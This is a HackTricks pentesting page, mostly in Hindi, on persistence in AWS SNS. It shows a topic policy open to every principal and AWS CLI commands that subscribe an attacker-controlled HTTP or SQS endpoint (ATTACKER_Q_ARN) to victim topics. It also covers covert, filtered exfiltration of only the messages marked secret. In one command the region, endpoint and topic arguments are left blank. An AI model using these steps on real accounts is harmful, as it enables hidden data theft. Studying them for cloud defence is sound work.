# AWS - SNS स्थायी पहुँच {{#include ../../../../banners/hacktricks-training.md}} ## SNS अधिक जानकारी के लिए देखें: {{#ref}} ../../aws-services/aws-sns-enum.md {{#endref}} ### स्थायी पहुँच एक **SNS topic** बनाते समय आपको IAM policy में यह स्पष्ट करना होता है कि **किसे पढ़ने और लिखने की पहुँच है**। आप बाहरी accounts, roles के ARN, या **यहाँ तक कि "\*"** भी निर्दिष्ट कर सकते हैं।\ निम्नलिखित policy AWS में हर किसी को **`MySNS.fifo`** नामक SNS topic पर पढ़ने और लिखने की पहुँच देती है: ```json { "Version": "2008-10-17", "Id": "__default_policy_ID", "Statement": [ { "Sid": "__default_statement_ID", "Effect": "Allow", "Principal": { "AWS": "*" }, "Action": [ "SNS:Publish", "SNS:RemovePermission", "SNS:SetTopicAttributes", "SNS:DeleteTopic", "SNS:ListSubscriptionsByTopic", "SNS:GetTopicAttributes", "SNS:AddPermission", "SNS:Subscribe" ], "Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo", "Condition": { "StringEquals": { "AWS:SourceOwner": "318142138553" } } }, { "Sid": "__console_pub_0", "Effect": "Allow", "Principal": { "AWS": "*" }, "Action": "SNS:Publish", "Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo" }, { "Sid": "__console_sub_0", "Effect": "Allow", "Principal": { "AWS": "*" }, "Action": "SNS:Subscribe", "Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo" } ] } ``` ### सब्सक्राइबर बनाएँ सभी topics से सभी संदेशों को exfiltrating जारी रखने के लिए, attacker सभी topics के लिए **subscribers बना सकता है**। ध्यान दें कि यदि **topic is of type FIFO**, तो केवल प्रोटोकॉल **SQS** का उपयोग करने वाले subscribers ही उपयोग किए जा सकते हैं। ```bash aws sns subscribe --region \ --protocol http \ --notification-endpoint http:/// \ --topic-arn ``` ### MessageBody पर FilterPolicy के माध्यम से Covert, selective exfiltration एक attacker जिसके पास किसी topic पर `sns:Subscribe` और `sns:SetSubscriptionAttributes` हैं, वह एक stealthy SQS subscription बना सकता है जो केवल उन संदेशों को आगे भेजता है जिनके JSON body एक बहुत संकुचित filter से मेल खाते हैं (उदाहरण के लिए, `{"secret":"true"}`). यह मात्रा और detection को कम करता है जबकि संवेदनशील रिकॉर्ड का exfiltration जारी रहता है। **Potential Impact**: Covert, low-noise exfiltration केवल लक्षित SNS messages को victim topic से प्राप्त करना। Steps (AWS CLI): - सुनिश्चित करें कि attacker SQS queue policy victim `TopicArn` से `sqs:SendMessage` की अनुमति देता है (Condition `aws:SourceArn` equals the `TopicArn`). - उस topic के लिए SQS subscription बनाएं: ```bash aws sns subscribe --region us-east-1 --topic-arn TOPIC_ARN --protocol sqs --notification-endpoint ATTACKER_Q_ARN ``` - Filter को message body पर लागू करें और केवल `secret=true` से मेल खाने दें: ```bash aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicyScope --attribute-value MessageBody aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicy --attribute-value '{"secret":["true"]}' ``` - वैकल्पिक stealth: raw delivery सक्षम करें ताकि केवल raw payload receiver पर पहुंचे: ```bash aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name RawMessageDelivery --attribute-value true ``` - Validation: दो संदेश publish करें और पुष्टि करें कि केवल पहला attacker queue को मिलता है। उदाहरण payloads: ```json {"secret":"true","data":"exfil"} {"secret":"false","data":"benign"} ``` - Cleanup: unsubscribe करें और यदि persistence परीक्षण के लिए attacker SQS queue बनाया गया था तो उसे delete करें। {{#include ../../../../banners/hacktricks-training.md}}